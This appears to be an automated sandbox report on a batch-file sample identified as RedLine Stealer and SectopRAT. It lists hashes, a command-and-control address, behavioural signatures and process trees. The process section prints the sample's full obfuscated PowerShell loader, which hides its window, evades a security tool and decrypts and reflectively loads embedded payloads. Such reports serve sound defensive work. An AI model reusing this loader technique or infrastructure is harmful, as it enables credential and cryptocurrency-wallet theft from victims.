Analysis
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max time kernel
94s -
max time network
97s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09-10-2024 08:15
Static task
static1
Behavioral task
behavioral1
Sample
Order Nº TM24-10-08.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Order Nº TM24-10-08.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Order Nº TM24-10-08.pdf
Resource
win7-20240729-en
Behavioral task
behavioral4
Sample
Order Nº TM24-10-08.pdf
Resource
win10v2004-20241007-en
General
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Target
Order Nº TM24-10-08.bat
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Size
260KB
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MD5
555de6b8f4d49dbbcb011cf0f749a3a7
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SHA1
8382c757c865ae49f03ba06e2ca88d8076fcca28
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SHA256
bb22b9f36aa70d1503e56fe38c8a4e79ac3020ff8ce0c33c08e79173e56f2ee8
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SHA512
4915d206b39b81c291fd2b8e79a651cb15ebd386ffb16228dcb4ce94c48987fd2f5e258dd09026c881533aef186f90fbaa5199f9e524ac950ed04364c0465364
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SSDEEP
6144:nOEnu+m6LlyFuZli6Ed9/nOtbS2Z1QBHTI:nOX96LGuSJnOtbSjK
Malware Config
Extracted
redline
otto
51.195.145.71:26398
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3896-40-0x00000000072C0000-0x00000000072DE000-memory.dmp family_redline -
SectopRAT payload 1 IoCs
resource yara_rule behavioral2/memory/3896-40-0x00000000072C0000-0x00000000072DE000-memory.dmp family_sectoprat -
Blocklisted process makes network request 2 IoCs
flow pid Process 13 3896 powershell.exe 16 3896 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1692 powershell.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3896 powershell.exe 3896 powershell.exe 1692 powershell.exe 1692 powershell.exe 3896 powershell.exe 3896 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3896 powershell.exe Token: SeDebugPrivilege 1692 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1940 wrote to memory of 1928 1940 cmd.exe 83 PID 1940 wrote to memory of 1928 1940 cmd.exe 83 PID 1940 wrote to memory of 3896 1940 cmd.exe 84 PID 1940 wrote to memory of 3896 1940 cmd.exe 84 PID 1940 wrote to memory of 3896 1940 cmd.exe 84 PID 3896 wrote to memory of 1692 3896 powershell.exe 88 PID 3896 wrote to memory of 1692 3896 powershell.exe 88 PID 3896 wrote to memory of 1692 3896 powershell.exe 88
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Order Nº TM24-10-08.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\Order Nº TM24-10-08.bat';$DXzR='ReamnDpdLmnDpinmnDpesmnDp'.Replace('mnDp', ''),'EntbEvvrybEvvPbEvvoinbEvvtbEvv'.Replace('bEvv', ''),'FromvYVmmvYVBmvYVamvYVsmvYVe6mvYV4SmvYVtrmvYVingmvYV'.Replace('mvYV', ''),'SpeSWZliteSWZ'.Replace('eSWZ', ''),'DePsMkcoPsMkmpPsMkrPsMkesPsMksPsMk'.Replace('PsMk', ''),'ChrhhOarhhOnrhhOgrhhOeExrhhOtenrhhOsirhhOorhhOnrhhO'.Replace('rhhO', ''),'GetALBtCtALButALBrrtALBentALBtPtALBrotALBctALBestALBstALB'.Replace('tALB', ''),'InIMkLvoIMkLkeIMkL'.Replace('IMkL', ''),'LoIpdGaIpdGdIpdG'.Replace('IpdG', ''),'CopOzUZyToOzUZ'.Replace('OzUZ', ''),'EleThfYmenThfYtThfYAThfYtThfY'.Replace('ThfY', ''),'MaOxpNinMOxpNoOxpNdOxpNuOxpNleOxpN'.Replace('OxpN', ''),'CIQANreaIQANteDIQANeIQANcrIQANyIQANptoIQANrIQAN'.Replace('IQAN', ''),'TofCFraofCFnofCFsfoofCFrmofCFFiofCFnaofCFlofCFBofCFlocofCFkofCF'.Replace('ofCF', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($DXzR[6])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function bDdfx($DCabq){$PkWMx=[System.Security.Cryptography.Aes]::Create();$PkWMx.Mode=[System.Security.Cryptography.CipherMode]::CBC;$PkWMx.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$PkWMx.Key=[System.Convert]::($DXzR[2])('2mOYEaPt8lWctq01VMMqhN34VnXfkC7nLbHLQY7/Qz8=');$PkWMx.IV=[System.Convert]::($DXzR[2])('dCF02IjSKAA6m1jMUv5SoQ==');$AcKBd=$PkWMx.($DXzR[12])();$MScdO=$AcKBd.($DXzR[13])($DCabq,0,$DCabq.Length);$AcKBd.Dispose();$PkWMx.Dispose();$MScdO;}function DOVto($DCabq){$BTfcL=New-Object System.IO.MemoryStream(,$DCabq);$KMREB=New-Object System.IO.MemoryStream;$ushEi=New-Object System.IO.Compression.GZipStream($BTfcL,[IO.Compression.CompressionMode]::($DXzR[4]));$ushEi.($DXzR[9])($KMREB);$ushEi.Dispose();$BTfcL.Dispose();$KMREB.Dispose();$KMREB.ToArray();}$McwgB=[System.IO.File]::($DXzR[0])([Console]::Title);$cTfVJ=DOVto (bDdfx ([Convert]::($DXzR[2])([System.Linq.Enumerable]::($DXzR[10])($McwgB, 5).Substring(2))));$nYDNp=DOVto (bDdfx ([Convert]::($DXzR[2])([System.Linq.Enumerable]::($DXzR[10])($McwgB, 6).Substring(2))));[System.Reflection.Assembly]::($DXzR[8])([byte[]]$nYDNp).($DXzR[1]).($DXzR[7])($null,$null);[System.Reflection.Assembly]::($DXzR[8])([byte[]]$cTfVJ).($DXzR[1]).($DXzR[7])($null,$null); "2⤵PID:1928
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3896 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1692
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD5928d36ad618a369ffebf44885d07cf81
SHA1edf5a353a919c1873af8e6a0dfafa4c38c626975
SHA256d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea
SHA5124ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a
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Filesize
15KB
MD5b6797b8b49d2cc3be7b5d6540d70c566
SHA1636554604aec8e0e4c3832e05da17d167be3f47f
SHA256b20c00ada000cce53c436e2561d5ac2653e1bf1fa3a73a947f682462290b2326
SHA5129522cc35c940aee6e42e03c9dc5bba9b52c9678c7cc7b94cb6b6bc4822ba7c62cf78d8d3d03498159109a0500034f3338c63004a9a2868fc2752d246f1be5758
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
40KB
MD5a182561a527f929489bf4b8f74f65cd7
SHA18cd6866594759711ea1836e86a5b7ca64ee8911f
SHA25642aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914
SHA5129bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558
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Filesize
114KB
MD5eb8c6139f83c330881b13ec4460d5a39
SHA1837283823a7e4e107ca7e39b1e7c3801841b1ef8
SHA256489d5195735786050c4115677c5856e3ce72c3ecf2574be55021ad3d71caf40e
SHA51288411dca362f0d9da0c093e60bf2b083340d0682b5ac91f25c78ac419cec1e325d0a5a0f96fd447d3d3806813cad7f1ca8cf9c423061327fbd16c8662f3cbddf
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Filesize
48KB
MD5349e6eb110e34a08924d92f6b334801d
SHA1bdfb289daff51890cc71697b6322aa4b35ec9169
SHA256c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
SHA5122a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574
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Filesize
20KB
MD549693267e0adbcd119f9f5e02adf3a80
SHA13ba3d7f89b8ad195ca82c92737e960e1f2b349df
SHA256d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
SHA512b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2
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Filesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84
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Filesize
96KB
MD540f3eb83cc9d4cdb0ad82bd5ff2fb824
SHA1d6582ba879235049134fa9a351ca8f0f785d8835
SHA256cdd772b00ae53d4050150552b67028b7344bb1d345bceb495151cc969c27a0a0
SHA512cdd4dbf0b1ba73464cd7c5008dc05458862e5f608e336b53638a14965becd4781cdea595fd6bd18d0bf402dccffd719da292a6ce67d359527b4691dc6d6d4cc2